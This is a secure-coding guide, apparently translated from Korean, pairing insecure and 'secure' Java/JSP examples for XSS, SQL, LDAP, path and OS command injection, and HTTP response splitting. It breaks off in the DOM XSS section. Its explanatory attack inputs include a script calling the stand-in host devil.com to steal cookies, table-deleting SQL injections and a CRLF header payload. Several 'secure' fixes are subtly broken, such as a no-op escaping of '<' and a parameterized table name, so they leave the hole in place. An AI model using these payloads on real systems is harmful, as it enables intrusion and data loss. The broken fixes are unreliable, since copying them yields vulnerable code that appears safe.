Section 1. Input Data Validation and Representation
1. Cross-Site Scripting (XSS)
A. Definition
When unvalidated external input is used in the generation of dynamic web pages, malicious scripts may be executed under the privileges of the user viewing the page. This can result in damages such as the leakage of sensitive information.
B. Secure Coding Techniques
When generating a result page using strings inputted from an external source, dangerous characters must be removed or escaped using methods such as replaceAll().
C. Examples
Insecure Code Example (HTML/JSP)
1: <%@page contentType="text/html" pageEncoding="UTF-8"%>
2: <html>
3: <head>
4: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
5: </head>
6: <body>
7: <h1>XSS Sample</h1>
8: <%
9: <!- 외부로 부터 이름을 받음 -->
10: String name = request.getParameter("name");
11: %>
12: <!-- 외부로 부터 받은 name이 그대로 출력 -->
13: <p>NAME:<%=name%></p>
14: </body>
15: </html>
The example above uses external input as the name value to generate a result page without any special processing. If a malicious attacker inserts the following script into the name value, the attack.jsp code will execute under the victim’s authority, potentially causing damage such as leaking the victim’s cookie information.
(예 : <script>url = "http://devil.com/attack.jsp;</script>)
Secure Code Example
1: <%@page contentType="text/html" pageEncoding="UTF-8"%>
2: <html>
3: <head>
4: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
5: </head>
6: <body>
7: <h1>XSS Sample</h1>
8: <%
9: <!-- 외부로 부터 이름을 받음 -->
10: String name = request.getParameter("name");
11:
12: <!-- 외부의 입력값에 대한 검증을 한다. -->
13: if ( name != null ) {
14: name = name.replaceAll("<","<");
15: name = name.replaceAll(">",">");
16: } else {
17: return;
18: }
19: %>
20: <!-- 외부로 부터 받은 name에서 ‘위험 문자’를 제거한 후 출력 -->
21: <p>NAME:<%=name%></p>
22: </body>
23: </html>
As shown in the example above, the risk of malicious script execution can be reduced by using the replaceAll() method to change characters used for script generation in HTML, such as < and >, to < and >. However, this does not mean the risk is entirely eliminated.
D. References
[1] CWE-80: Cross-Site Scripting (XSS) – http://cwe.mitre.org/data/definitions/80.html
[2] OWASP Top 10 2010 – (OWASP 2010) A2 Cross-Site Scripting (XSS)
[3] SANS Top 25 2010 – Insecure Interaction Between Components, RANK 1 CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
2. SQL Injection
A. Definition
An attacker can execute SQL commands through external input. Specifically, if the validity of externally entered data is not checked, the query logic can be altered, allowing the attacker to leak others’ information or modify the database according to their intention.
B. Secure Coding Techniques
It is recommended to use the PreparedStatement class and its subordinate methods such as executeQuery(), execute(), and executeUpdate().
C. Examples
Insecure Code Example
1: ……
2: PreparedStatement stmt = null;
3:
4: try {
5: ……
6: // 외부 환경에서 테이블명(tablename)과 사용자명(name)을 입력받는다.
7: String tableName = props.getProperty("jdbc.tableName");
8: String name = props.getProperty(" jdbc.name" );
9: String query = "SELECT * FROM " + tableName + " WHERE Name =" + name;
10:
11: // 사용자가 입력한 데이터가 SQL문에 그대로 반영된다.
12: // 사용자가 타인의 정보를 보기 위한 SQL을 사용자명(name)에 입력할 수 있다.
13: stmt = con.prepareStatement(query);
14: rs = stmt.executeQuery();
15: ResultSetMetaData rsmd = rs.getMetaData();
16: ……
17: while (rs.next()) { …… }
18: dos.writeBytes(printStr);
19: } catch (SQLException sqle) { …… }
20: finally { …… }
21: ……
In the above example, a SQL query is generated by receiving tableName and name from external input. If a string like "name' OR 'a'='a" is passed as the value for name, the following query is generated, allowing the attacker to obtain all user information in the table:
(SELECT * FROM userTable WHERE Name ='name' OR 'a'='a')
Additionally, if ["name'; DELETE FROM userTable; --"] is provided as the name value, the following query is generated, which could delete the entire table:
(SELECT * FROM userTable WHERE Name ='name'; DELETE FROM userTable; --')
Secure Code Example
1: ……
2: PreparedStatement stmt = null;
3:
4: try {
5: ……
6: String tableName = props.getProperty("jdbc.tableName");
7: String name = props.getProperty("jdbc.name");
8:
9: // 동적 질의문으로 생성되지 않도록 PreparedStatement를 사용한다.
10: String query = "SELECT * FROM ? WHERE Name = ? " ;
11: stmt = con.prepareStatement(query);
12: // 사용자가 입력한 데이터를 setXXX()함수로 셋팅한다.
13: stmt.setString(1, tableName);
14: stmt.setString(2, name);
15:
16: rs = stmt.executeQuery();
17: ResultSetMetaData rsmd = rs.getMetaData();
18: int columnCount = rsmd.getColumnCount();
19: String printStr = "";
20: while (rs.next()) { …… }
21: dos.writeBytes(printStr);
22: } catch (SQLException sqle) { …… }
23: finally { …… }
24: ……
As shown in the example above, by creating a PreparedStatement object that accepts arguments as a constant string and setting the argument parts via setXXX() methods, you can prevent external input from altering the structure of the query.
D. References
[1] CWE-89: SQL Injection – http://cwe.mitre.org/data/definitions/89.html
[2] OWASP Top 10 2010 – (OWASP 2010) A1 – Injection
[3] SANS Top 25 2010 – Insecure Interaction Between Components, RANK 2 CWE-89 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
3. SQL Injection: JDO (Java Data Objects)
A. Definition
When untrusted external input is used without proper validation as part of a string to generate SQL or JDOQL queries via the JDO (Java Data Objects) API, an attacker can pass unintended strings to distort the query’s meaning or change its structure to execute arbitrary query commands.
B. Secure Coding Techniques
When creating JDO queries, use only constant strings for the query structure and pass variable values as arguments during Query.execute(…) (Parameterized Query).
C. Examples
Insecure Code Example
1: ……
2: public class U9102 implements ContactDAO {
3: public List<Contact> listContacts() {
4: PersistenceManager pm = getPersistenceManagerFactory().getPersistenceManager();
5: String query = "select from " + Contact.class.getName();
6: try {
7: Properties props = new Properties();
8: String fileName = "contacts.txt";
9: FileInputStream in = new FileInputStream(fileName);
10: if( in != null ) { props.load(in); }
11: in.close();
12: // Receive input from an external source
13: String name = props.getProperty("name");
14: if( name != null ) {
15: query += " where name = '" + name + " '" ;
16: }
17: } catch (IOException e) { …… }
18:
19: // External input value is used directly as an argument for the JDO object.
20: return (List<Contact>) pm.newQuery(query).execute();
21: }
22: ……
If an attacker provides an external input (name) value as "name'; DELETE FROM MYTABLE; --", the following query is executed, resulting in the deletion of the table:
(SELECT col1 FROM MYTABLE WHERE name = 'name' ; DELETE FROM MYTABLE;--')
Secure Code Example
1: ……
2: public class S9102 implements ContactDAO {
3: public List<Contact> listContacts() {
4: PersistenceManager pm =
5: getPersistenceManagerFactory().getPersistenceManager();
6: String query = "select from " + Contact.class.getName();
7: String name = "";
8: try {
9: Properties props = new Properties();
10: String fileName = "contacts.txt";
11: FileInputStream in = new FileInputStream(fileName);
12: props.load(in);
13: // Receive input from an external source.
14: name = props.getProperty("name");
15: // Check the input value.
16: if (name == null || " " .equals(name)) return null;
17: query += " where name = ?" ;
18: } catch (IOException e) { …… }
19:
20: javax.jdo.Query q = pm.newQuery(query);
21: // Pass the input value as an argument to the Query API.
22: return (List<Contact>) q.execute(name);
23: }
24: ……
By setting the external input part as a placeholder (?) (Parameterized Query) and ensuring the argument value is passed during execution, you can prevent the external input (name) from altering the structure of the query.
D. References
[1] CWE-89: SQL Injection – http://cwe.mitre.org/data/definitions/89.html
[2] OWASP Top 10 2010 – (OWASP 2010) A1 Injection
[3] JDO API Documentation
[4] SANS Top 25 2010 – Insecure Interaction Between Components, RANK 2 CWE-89 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
SQL Injection: Persistence
A. Definition
In applications using the J2EE Persistence API, if external input is used directly in a query string without any validation, the meaning of the query can be distorted or its structure altered, allowing arbitrary query commands to be executed.
B. Secure Coding Techniques
Use Parameterized Queries where external input cannot change the query structure. Specifically, use only constant strings when creating the query and set the parameter values using the javax.persistence.Query.setParameter() method.
C. Examples
Insecure Code Example
1: ……
2: public class U9103 implements ServletContextListener {
3: public List<?> getAllItemsInWildcardCollection() {
4: EntityManager em = getEntityManager();
5: List<U9103> r_type = null;
6: try {
7: Properties props = new Properties();
8: String fileName = "conditions.txt";
9: FileInputStream in = new FileInputStream(fileName);
10: props.load(in);
11:
12: // Receive input from an external source
13: String id = props.getProperty(" id" );
14: // External input value is used directly as a query argument (Concatenation)
15: Query query =
16: em.createNativeQuery("SELECT OBJECT(i) FROM Item i WHERE
i.itemID > " + id);
17: List<U9103> items = query.getResultList();
18: ……
19: return r_type;
20: }
21: ……
If an attacker provides the value "foo'; DELETE FROM MYTABLE; --" for the external input (id), the following query is executed, and the table is deleted:
(SELECT col1 FROM MYTABLE WHERE name = 'foo' ; DELETE FROM MYTABLE;--')
Secure Code Example
1: ……
2: public class S9103 implements ServletContextListener {
3: public List<?> getAllItemsInWildcardCollection() {
4: EntityManager em = getEntityManager();
5: List<S9103> r_type = null;
6: try {
7: Properties props = new Properties();
8: String fileName = "conditions.txt";
9: FileInputStream in = new FileInputStream(fileName);
10: props.load(in);
11:
12: // Receive external input
13: String id = props.getProperty("id");
14: // Validate input
15: if (id == null || "".equals(id)) id = "itemid";
16:// Write query using a named parameter (:id)
17: Query query =
18: em.createNativeQuery("SELECT OBJECT(i) FROM Item i WHERE
i.itemID > :id");
19: query.setParameter("id" , id);
20: List<S9103> items = query.getResultList();
21: ……
22: return r_type;
23: }
24: ……
As shown in the example above, creating a query that accepts parameters and executing it by setting those values prevents external input from altering the query structure.
D. References
[1] CWE-89: SQL Injection – http://cwe.mitre.org/data/definitions/89.html
[2] OWASP Top 10 2010 – (OWASP 2010) A1 Injection
[3] SANS Top 25 2010 – Insecure Interaction Between Components, RANK 2 CWE-89 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
SQL Injection: MyBatis Data Map
A. Definition
If an externally entered value is used as a string concatenated directly into the query command rather than just as a parameter value, an attacker can deliver an unintended string to distort the meaning or change the structure of the query, performing arbitrary database commands.
B. Secure Coding Techniques
Include code within the program to remove dangerous characters or unintended input from external sources. When defining query commands in MyBatis Data Map files, do not use string substitution variables ($…$). Instead, use the #<parameter_name># (or #{parameter_name}) format.
C. Examples
Insecure Code Example (MyBatis XML)
1: <?xml version="1.0" encoding="UTF-8"?> 2: <!DOCTYPE sqlMap PUBLIC "-//iBATIS.com//DTD SQL Map 2.0//EN" "http://www.ibatis.com/dtd/sql-map-2.dtd"> 3: <sqlMap namespace="Student"> 4: <resultMap id="StudentResult" class="Student"> 5: <result column="ID" property="id" /> 6: <result column="NAME" property="name" /> 7: </resultMap> 8: <select id="listStudents" resultMap="StudentResult"> 9: SELECT NUM, NAME 10: FROM STUDENTS 11: ORDER BY NUM 12: </select> 13: <select id="nameStudent" parameterClass="Integer" resultClass="Student"> 14: SELECT NUM, NAME 15: FROM STUDENTS 16: WHERE NUM = #num# 17: </select> 18: <!-- dynamic SQL 사용 --> 19: <delete id="delStudent" parameterClass="Student"> 20: DELETE STUDENTS 21: WHERE NUM = #num# AND Name = '$name$' 22: </delete> 23: </sqlMap>
The example above is a query configuration file (XML) used in MyBatis. In the delStudent command, the string value passed as $name$ is concatenated directly into the query. Therefore, if a value like '' OR 'x'='x' is passed for name, the following query is executed, deleting all elements in the table:
(DELETE STUDENTS WHERE NUM = #num# and Name = '' OR 'x'='x')
Secure Code Example (MyBatis XML)
1: <?xml version="1.0" encoding="UTF-8"?> 2: <!DOCTYPE sqlMap PUBLIC "-//iBATIS.com//DTD SQL Map 2.0//EN" "http://www.ibatis.com/dtd/sql-map-2.dtd"> 3: 4: <sqlMap namespace="Student"> 5: <resultMap id="StudentResult" class="Student"> 6: <result column="ID" property="id" /> 7: <result column="NAME" property="name" /> 8: </resultMap> 9: <select id="listStudents" resultMap="StudentResult"> 10: SELECT NUM, NAME 11: FROM STUDENTS 12: ORDER BY NUM 13: </select> 14: <select id="nameStudent" parameterClass="Integer" resultClass="Student"> 15: SELECT NUM, NAME 16: FROM STUDENTS 17: WHERE NUM = #num# 18: </select> 19: 20: <!-- static SQL 사용 --> 21: <delete id="delStudent" parameterClass="Student"> 22: DELETE STUDENTS 23: WHERE NUM = #num# AND Name = '#name#' 24: </delete> 25: </sqlMap>
Modify the Name parameter to be received in the #name# format, which ensures it is treated as a literal value and safely escaped.
D. References
[1] CWE-89 SQL Injection – http://cwe.mitre.org/data/definitions/89.html
[2] OWASP Top 10 2010 – A1 Injection
[3] SANS Top 25 2010 – Insecure Interaction Between Components, RANK 2 CWE-89 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
6. Relative Path Traversal
A. Definition
When it is necessary to generate a “directory path string” through external input, failing to filter characters that can be used for path manipulation allows the creation of path strings pointing to unintended areas. This can lead to system information leakage or service failures.
B. Secure Coding Techniques
Ensure that external input cannot be used to directly generate filenames. If direct use is unavoidable, implement a filter using methods like replaceAll() to remove dangerous strings (e.g., .., /, \) to prevent access to files in other directories.
C. Examples
Insecure Code Example
1: ……
2: public void f(Properties request) {
3: ……
4: String name = request.getProperty("filename" );
5: if( name != null ) {
6: File file = new File("/usr/local/tmp/" + name);
7: file.delete();
8: }
9: ……
10: }
In this case, the external input name is used to set the path of the file to be deleted. If an attacker passes a value like ../../../rootFile.txt, unintended files can be deleted, adversely affecting the system.
Secure Code Example
1: ……
2: public void f(Properties request) {
3: ……
4: String name = request.getProperty("user");
5: if ( name != null && !"".equals(name) ) {
6: name = name.replaceAll("/" , "" );
7: name = name.replaceAll("\\" , "" );
8: name = name.replaceAll(".", " " );
9: name = name.replaceAll("&" , " ");
10: name = name + "-report" ;
11: File file = new File("/usr/local/tmp/" + name);
12: if (file != null) file.delete();
13: }
14: ……
15: }
Check for Null values in the external input and use replaceAll to remove special characters (/, \, &, ., etc.) to prevent the setting of relative paths in the filename.
D. References
[1] CWE-23: Relative Path Traversal – http://cwe.mitre.org/data/definitions/23.html
[2] OWASP Top 10 2010 – A4 Insecure Direct Object Reference
[3] SANS Top 25 2010 – Rank 7 CWE ID 22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
7. Absolute Path Traversal
A. Definition
It is dangerous if external input can directly control or influence the path used to manipulate the file system. Allowing user input to control the path for file system operations enables attackers to access or modify critical system files or general files. Essentially, through path manipulation, an attacker can gain unauthorized privileges to change or execute configuration-related files.
B. Secure Coding Techniques
Do not allow the creation of or access to filenames directly through external input. It is preferable to write the program so that users select from a predefined list of files allowed for access based on the input.
C. Examples
Insecure Code Example
1: ……
2: public void f(Properties cfg) throws IOException {
3: FileInputStream fis = new FileInputStream(cfg.getProperty("subject"));
4: byte[] arr = new byte[30];
5: fis.read(arr);
6: System.out.println(arr);
7: ……
8: }
When a file is generated directly from external input, an attacker can input arbitrary filenames, potentially exposing unintended information by accessing sensitive files.
Secure Code Example
1: ……
2: public void f(Properties cfg) throws IOException {
3: FileInputStream fis;
4: String subject = cfg.getProperty("subject");
5:
6: if (subject.equals("math" ))
7: fis = new FileInputStream("math");
8: else if (subject.equals("physics"))
9: fis = new FileInputStream("physics" );
10: else if (subject.equals("chemistry" ))
11: fis = new FileInputStream("chemistry");
12: else
13: fis = new FileInputStream("default");
14:
15: byte[] arr = new byte[30];
16: fis.read(arr);
17: System.out.println(arr);
18: ……
19: }
As shown above, it is best practice to design the program to select files from a list of authorized files based on external input rather than accepting the path directly.
D. References
[1] CWE-36: Absolute Path Traversal – http://cwe.mitre.org/data/definitions/36.html
[2] OWASP Top 10 2010 – A4 Insecure Direct Object Reference
[3] SANS Top 25 2010 – Rank 7 CWE ID 22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
8. OS Command Injection (Improper Neutralization of Special Elements Used in an OS Command)
A. Definition
It is dangerous when external input is used as an argument for system command execution without proper processing. Since external input strings cannot be trusted, they should be used by creating an array of valid predefined values and selecting the appropriate one. Failure to do so allows an attacker to execute arbitrary commands of their choice.
B. Secure Coding Techniques
Values delivered from external sources should not be used directly in the creation of internal system commands. If command generation or selection based on external input is required, it is safe to pre-specify the necessary values and select them based on the input.
C. Examples
Insecure Code Example
1: ……
2: public void f() throws IOException {
3: Properties props = new Properties();
4: String fileName = "file_list";
5: FileInputStream in = new FileInputStream(fileName);
6: props.load(in);
7: String version = props.getProperty("dir_type" );
8: String cmd = new String("cmd.exe /K \"rmanDB.bat \"");
9: Runtime.getRuntime().exec(cmd + " c:\\prog_cmd\\" + version);
10: ……
11: }
In the example above, cmd.exe is used to execute the rmanDB.bat batch file, and the dir_type value from an external source is used as an argument. If an attacker provides an unintended string for dir_type, abnormal operations or unauthorized commands may be executed.
Secure Code Example
1: ……
2: public void f() throws IOException {
3: Properties props = new Properties();
4: String fileName = "file_list";
5: FileInputStream in = new FileInputStream(fileName);
6: props.load(in);
7: String version[] = {"1.0" , "1.01" , "1.11" , "1.4" };
8: int versionSelection = Integer.parseInt(props.getProperty("version" ));
9: String cmd = new String("cmd.exe /K \"rmanDB.bat \"");
10: String vs = "";
11:
12: // 외부 입력값에 따라 지정된 목록에서 값을 선택한다.
13: if (versionSelection == 0)
14: vs = version[0];
15: else if (versionSelection == 1)
16: vs = version[1];
17: else if (versionSelection == 2)
18: vs = version[2];
19: else if (versionSelection == 3)
20: vs = version[3];
21: else
22: vs = version[3];
23: Runtime.getRuntime().exec(cmd + " c:\\prog_cmd\\" + vs);
24: ……
25: }
By creating an array of legitimate argument values and selecting one based on input, you eliminate the possibility of improper external input being used as a command.
D. References
[1] CWE-78: OS Command Injection – http://cwe.mitre.org/data/definitions/78.html
[2] OWASP Top 10 – A1: Injection
[3] SANS, Frank Kim. “Top 25 Series – Rank 9 – OS Command Injection”
[4] SANS Top 25 2010 – Insecure Interaction Between Components, RANK 9 CWE-78: ImproperNeutralization of Special Elements used in an OS Command (‘OS Command Injection’)
9. LDAP Injection
A. Definition
An attacker can execute unintended LDAP (Lightweight Directory Access Protocol) commands through external input. If a web application fails to properly process user-provided input, the attacker can alter the structure of the LDAP statement, potentially allowing the process to run with the same authentication as the component executing the command.
B. Secure Coding Techniques
When external input is used for LDAP filter strings, set a White List of allowed inputs or a Black List of dangerous characters (e.g., =, +, <, >, #, ;, \). Manage the code to ensure arbitrary external input cannot be used in filter creation.
C. Examples
Insecure Code Example
1: ……
2: public void f() {
3: Hashtable env = new Hashtable();
4: env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
5: env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=rootDir");
6: try {
7: javax.naming.directory.DirContext ctx = new InitialDirContext(env);
8: // 프로퍼티를 만들고 외부 파일을 로드한다.
9: Properties props = new Properties();
10: String fileName = "ldap.properties";
11: FileInputStream in = new FileInputStream(fileName);
12: props.load(in);
13: // LDAP Search를 하기 위해 name을 읽는다
14: String name = props.getProperty("name" );
15: String filter = "(name =" + name + ")";
16: // LDAP search가 name값에 대한 여과없이 그대로 통과되어 검색이 되어진다.
17: NamingEnumeration answer =
ctx.search("ou=NewHires" , filter, new SearchControls());
18: printSearchEnumeration(answer);
19: ctx.close();
20: } catch (NamingException e) { …… }
21: ……
If an attacker passes * as the name value, the filter becomes (name=*), which is always true. This can lead to the exposure of unintended records.
Secure Code Example
1: ……
2: public void f() {
3: Hashtable env = new Hashtable();
4: env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
5: env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=rootDir");
6: try {
7: javax.naming.directory.DirContext ctx = new InitialDirContext(env);
8: Properties props = new Properties();
9: String fileName = "ldap.properties";
10: FileInputStream in = new FileInputStream(fileName);
11:
12: if (in == null || in.available() <= 0) return;
13: props.load(in);
14:
15: if (props == null || props.isEmpty()) return;
16: String name = props.getProperty("name");
17: if (name == null || "".equals(name)) return;
18: // 읽어들인 name에 대해서 ‘*’ 문자열을 제거한다.
19: String filter = "(name =" + name.replaceAll("\\*", " " ) + ")";
20: NamingEnumeration answer =
21: ctx.search("ou=NewHires", filter, new SearchControls());
22: printSearchEnumeration(answer);
23: ctx.close();
24: } catch (NamingException e) { …… }
25: ……
By removing dangerous characters from external input used as filter strings for searches, the risk can be partially mitigated.
D. References
[1] CWE-90: LDAP Injection – http://cwe.mitre.org/data/definitions/90.html
[2] OWASP Top 10 2010 – (OWASP 2010) A1 – Injection
[3] SPI Dynamics. “Web Applications and LDAP Injection.”
[4] SANS Top 25 2009 – Insecure Interaction – CWE ID 116 Improper Encoding or Escaping of Output
10. LDAP Manipulation
A. Definition
If external input is used in LDAP queries or results without appropriate processing, an attacker can modify the content of the query at will.
B. Secure Coding Techniques
Appropriate validation must be performed on external input. Use access control features to limit LDAP queries so that only authorized records can be accessed.
C. Examples
Insecure Code Example
1: ……
2: try {
3: ……
4: // 외부로 부터 입력을 받는다.
5: String name = props.getProperty(“ldap.properties" );
6: // 입력값에 대한 BasicAttribute를 생성한다.
7: BasicAttribute attr = new BasicAttribute("name" , name);
8: // 외부 입력값이 LDAP search의 인자로 사용이 된다.
9: NamingEnumeration answer =
10: ctx.search("ou=NewHires", attr.getID(), new SearchControls());
11: printSearchEnumeration(answer);
12: ctx.close();
13: } catch (NamingException e) { …… }
14: }
15:
16: public void printSearchEnumeration(NamingEnumeration value) {
17: try {
18: while (value.hasMore()) {
19: SearchResult sr = (SearchResult) value.next();
20: System.out.println(">>>" + sr.getName() + "\n" + sr.getAttributes());
21: }
22: } catch (NamingException e) { …… }
23: ……
An attacker could specify an arbitrary root directory, leading to information leakage if proper access controls are not in place.
Secure Code Example
1: ……
2: try {
3: ……
4: // 외부로 부터 입력값을 받는다.
5: String name = props.getProperty("name");
6: // 입력값에 대한 검사를 한다.
7: if (name == null || "".equals(name)) return;
8: String filter = "(name =" + name.replaceAll("\\*", " " ) + ")";
9:
10: // 검증된 입력값을 LDAP search 인자로 사용한다.
11: NamingEnumeration answer =
12: ctx.search("ou=NewHires", filter, new SearchControls());
13: printSearchEnumeration(answer);
14: ctx.close();
15: } catch (NamingException e) { …… }
16: }
17:
18: public void printSearchEnumeration(NamingEnumeration value) {
19: try {
20: while (value.hasMore()) {
21: SearchResult sr = (SearchResult) value.next();
22: System.out.println(">>>" + sr.getName() + "\n" + sr.getAttributes());
23: }
24: } catch (NamingException e) { …… }
25: ……
Appropriate validation must be performed on external input before use. Furthermore, when utilizing LDAP, access control features should be implemented to restrict queries and ensure that only authorized records can be accessed.
라. 참고 문헌
1] CWE-639: Authorization Bypass Through User-Controlled Key – http://cwe.mitre.org/data/definitions/639.html
CWE-90: LDAP Injection – http://cwe.mitre.org/data/definitions/90.html
CWE-116: Improper Encoding or Escaping of Output – http://cwe.mitre.org/data/definitions/116.html
[2] OWASP Top 10 2010 – (OWASP 2010) A4 Insecure Direct Object Reference
[3] SANS Top 25 2009 – Insecure Interaction – CWE ID 116 Improper Encoding or Escaping of Output
11. Resource Injection
A. Definition
Improper access to resources may occur when untrusted external input is used as a resource identifier without undergoing an appropriate inspection process.
B. Secure Coding Techniques
Do not use external input as a resource identifier without validation. Instead, design the program to select from a predefined whitelist. If the external input is a filename, remove dangerous characters that could be used for path traversal.
C. Examples
Insecure Code Example
1: ……
2: public void f() throws IOException {
3: int def = 1000;
4: ServerSocket serverSocket;
5: Properties props = new Properties();
6: String fileName = "file_list";
7: FileInputStream in = new FileInputStream(fileName);
8: props.load(in);
9:
10: // 외부에서 입력한 데이터를 받는다.
11: String service = props.getProperty("Service No" );
12: int port = Integer.parseInt(service);
13:
14: // 외부에서 입력받은 값으로 소켓을 생성한다.
15: if (port != 0)
16: serverSocket = new ServerSocket(port + 3000);
17: else
18: serverSocket = new ServerSocket(def + 3000);
19: ……
20: }
21: …
If an attacker specifies a value like “-2920”, it results in port 80, which could conflict with existing services and cause errors.
Secure Code Example
1: ……
2: public void f() throws IOException {
3: ServerSocket serverSocket;
4: Properties props = new Properties();
5: String fileName = "file_list";
6: FileInputStream in = new FileInputStream(fileName);
7: String service = "";
8:
9: if (in != null && in.available() > 0) {
10: props.load(in);
11: // 외부로부터 데이터를 입력받는다.
12: service = props.getProperty("Service No");
13: }
14: // 외부의 입력을 기본적인 내용 검사를 한다.
15: if ("".equals(service)) service = "8080";
16:
17: int port = Integer.parseInt(service);
18: // 외부 입력에서 포트번호를 검사한 후 리스트에서 적합한 값을 할당한다.
19: switch (port) {
20: case 1:
21: port = 3001; break;
22: case 2:
23: port = 3002; break;
24: case 3:
25: port = 3003; break;
26: default:
27: port = 3000;
28: }
29: // 서버소켓에 검사완료된 포트를 할당한다.
30: serverSocket = new ServerSocket(port);
31: ……
32: }
33: ……
Avoid receiving resource identifiers like socket numbers directly. Use a whitelist to assign values within a safe, intended range.
D. References
[1] CWE-99: Resource Injection – http://cwe.mitre.org/data/definitions/99.html
12. HTTP Response Splitting
A. Definition
If input parameters containing newline characters like CR (Carriage Return) or LF (Line Feed) are included in HTTP response headers, the response can be split into two or more parts. An attacker can use this to terminate the first response and inject malicious code into the second one to perform XSS or cache poisoning attacks.
B. Secure Coding Techniques
When including external input in HTTP response headers (e.g., Set-Cookie), remove CR/LF characters or use appropriate encoding techniques.
C. Examples
Insecure Code Example
1: public class U113 extends HttpServlet {
2: public void doPost(HttpServletRequest request, HttpServletResponse response)
3: throws IOException, ServletException {
4: response.setContentType("text/html");
5: // 사용자의 입력정보를 받아서 쿠키를 생성한다.
6: String author = request.getParameter("authorName" );
7: Cookie cookie = new Cookie("replidedAuthor" , author);
8: cookie.setMaxAge(1000);
9: // cookie.setSecure(true); // HTTP로 서비스하는 경우 쿠키 값 설정 안됨(위험)
10: // HTTPS 서비스만 제공하는 경우 사용
11: ...
12: // 생성된 쿠키를 브라우저에 전송해 저장하도록 한다.
13: response.addCookie(cookie);
14: RequestDispatcher frd = request.getRequestDispatcher("cookieTest.jsp");
15: frd.forward(request, response);
16: }
17: }
The example above uses an external input value to set a cookie value. If an attacker sets authorName to "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n", two unintended pages will be delivered as shown in the example below. Furthermore, the second response page can be modified by the attacker at will.
(Example : HTTP/1.1 200 OK...Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK...)
Secure Code Example
1: public class S113 extends HttpServlet {
2: public void doPost(HttpServletRequest request, HttpServletResponse response)
3: throws IOException, ServletException {
4: response.setContentType("text/html");
5:
6: // 사용자 정보를 읽어온다.
7: String author = request.getParameter("authorName");
8: if (author == null || "".equals(author)) return;
9:
10: // 헤더값이 두개로 나뉘어지는 것을 방지하기 위해 외부에서 입력되는 \n과 \r
등을 제거한다.
11: String filtered_author = author.replaceAll("\r" , " ").replaceAll("\n" , " ");
12: Cookie cookie = new Cookie("replidedAuthor", filtered_author);
13: cookie.setMaxAge(1000);
14: cookie.setSecure(true);
15:
16: // 생성된 쿠키를 브라우저에 전송해 저장하도록 한다.
17: response.addCookie(cookie);
18: RequestDispatcher frd = request.getRequestDispatcher("cookieTest.jsp");
19: frd.forward(request, response);
20: }
21: }
Check for null values in external input and use replaceAll() to remove newline characters (\r, \n) to prevent the header from being split.
D. References
[1] CWE-113: HTTP Response Splitting – http://cwe.mitre.org/data/definitions/113.html
[2] OWASP Top 10 2004 A1 Unvalidated Input
[3] OWASP Top 10 2007 A2 Injection Flaws
[4] Web Application Security Consortium 24 + 2 HTTP Response Splitting
13. External Control of System or Configuration Setting
A. Definition
Allowing external control over system settings or components can lead to unexpected results (e.g., service disruption) or potential exploitation.
B. Secure Coding Techniques
Do not use external input to generate argument values for the Connection.setCatalog() method. If it must be used, validate the external input using a whitelist before use.
C. Examples
Insecure Code Example
1: ……
2: public void f() {
3: try {
4: InitialContext ctx = new InitialContext();
5: DataSource datasource = (DataSource) ctx.lookup("jdbc:ocl:orcl");
6: Connection con = datasource.getConnection();
7: Properties props = new Properties();
8: String fileName = "file.properties";
9: FileInputStream in = new FileInputStream(fileName);
10: props.load(in);
11:
12: // catalog정보는 외부로부터 유입되는 정보
13: String catalog = props.getProperty("catalog");
14: // catalog정보를 DB Connection을 위해서 해당 값을 체크하지 않고, DB 카탈
로그 정보에 지정함
15: con.setCatalog(catalog);
16: con.close();
17: } catch (SQLException ex) {
18: System.err.println("SQLException Occured");
19: } catch (NamingException e) {
20: System.err.println("NamingException Occured");
21: } catch (FileNotFoundException e) {
22: System.err.println("FileNotFoundException Occured");
23: } catch (IOException e) {
24: System.err.println("IOException Occured");
25: }
26: }
27: ……
External input (catalog) is being used to set the active JDBC catalog. If a non-existent catalog or an unauthorized catalog name is passed, an exception may occur.
Secure Code Example
1: ……
2: public void f() {
3: try {
4: // caltalog 값으로 c1과 c2를 사용할 경우
5: InitialContext ctx = new InitialContext();
6: DataSource datasource = (DataSource) ctx.lookup("jdbc:ocl:orcl");
7: Connection con = datasource.getConnection();
8:
9: Properties props = new Properties();
10: String fileName= "file.properties";
11: String catalog;
12:
13: FileInputStream in = new FileInputStream(fileName);
14: if (in != null && in.available() > 0) {
15: props.load(in);
16:
17: if (props == null || props.isEmpty()) catalog = "c1";
18: else
19: catalog = props.getProperty("catalog");
20: } else
21: catalog = "c1";
22:
23: // 외부 유입 변수(catalog)에 대해서 값을 반드시 체크하고 걸러야 한다.
24: if ("c1" .equals(catalog))
25: con.setCatalog("c1" );
26: else
27: con.setCatalog("c2" );
28: con.close();
29: } catch (SQLException ex) {
30: System.err.println("SQLException Occured");
31: } catch (NamingException e) {
32: System.err.println("NamingException Occured");
33: } catch (FileNotFoundException e) {
34: System.err.println("FileNotFoundException Occured");
35: } catch (IOException e) {
36: System.err.println("IOException Occured");
37: }
38: }
When the catalog name needs to change based on external input, do not use the string directly; instead, choose from a list of predefined, appropriate catalog names.
D. References
[1] CWE-15: External Control of System or Configuration Setting – http://cwe.mitre.org/data/definitions/15.html
14. Cross-Site Scripting (XSS): DOM
A. Definition
If an external script string is used in web page generation, it can harm users viewing the generated web page.
B. Secure Coding Techniques
When using external input as an argument for methods that output to JSP DOM objects, such as the document.write() method, a process to remove dangerous characters must be performed.
C. Examples
Insecure Code Example
1: ……
2: <%
3: // 외부로 부터 입력을 받는다.
4: String name = request.getParameter("name");
5: %>
6: <SCRIPT language="javascript">
7: // 외부의 입력을 그대로 출력한다.
8: document.write("name:" + <%=name%> );
